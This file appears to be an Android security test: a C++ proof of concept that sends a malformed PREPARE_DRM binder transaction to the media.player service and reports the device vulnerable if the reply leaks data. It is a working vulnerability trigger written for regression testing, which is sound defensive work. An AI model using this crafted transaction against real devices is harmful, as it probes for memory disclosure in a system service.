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67 lines
2.0 KiB
67 lines
2.0 KiB
/**
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* Copyright (C) 2021 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#include <binder/IServiceManager.h>
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#include <media/mediaplayer.h>
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#include "../includes/common.h"
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#define PREPARE_DRM 39
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using namespace android;
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int main() {
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sp<IServiceManager> serviceManager = defaultServiceManager();
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if (serviceManager == nullptr) {
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return EXIT_FAILURE;
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}
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sp<IBinder> mediaPlayerService = serviceManager->getService(String16("media.player"));
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if (mediaPlayerService == nullptr) {
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return EXIT_FAILURE;
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}
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sp<IMediaPlayerService> iMediaPlayerService =
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IMediaPlayerService::asInterface(mediaPlayerService);
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if (iMediaPlayerService == nullptr) {
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return EXIT_FAILURE;
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}
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MediaPlayer *mediaPlayer = new MediaPlayer();
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if (mediaPlayer == nullptr) {
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return EXIT_FAILURE;
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}
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sp<IMediaPlayer> iMediaPlayer = iMediaPlayerService->create(mediaPlayer);
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if (iMediaPlayer == nullptr) {
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delete (mediaPlayer);
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return EXIT_FAILURE;
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}
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Parcel data, reply;
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data.writeInterfaceToken(iMediaPlayer->getInterfaceDescriptor());
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const uint8_t arr[16] = {};
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data.write(arr, 16);
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data.writeUint32(2);
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data.writeUnpadded(arr, 1);
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IMediaPlayer::asBinder(iMediaPlayer)->transact(PREPARE_DRM, data, &reply);
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uint32_t size = 0;
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reply.readUint32(&size);
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delete (mediaPlayer);
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return (size > 0) ? EXIT_VULNERABLE : EXIT_SUCCESS;
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}
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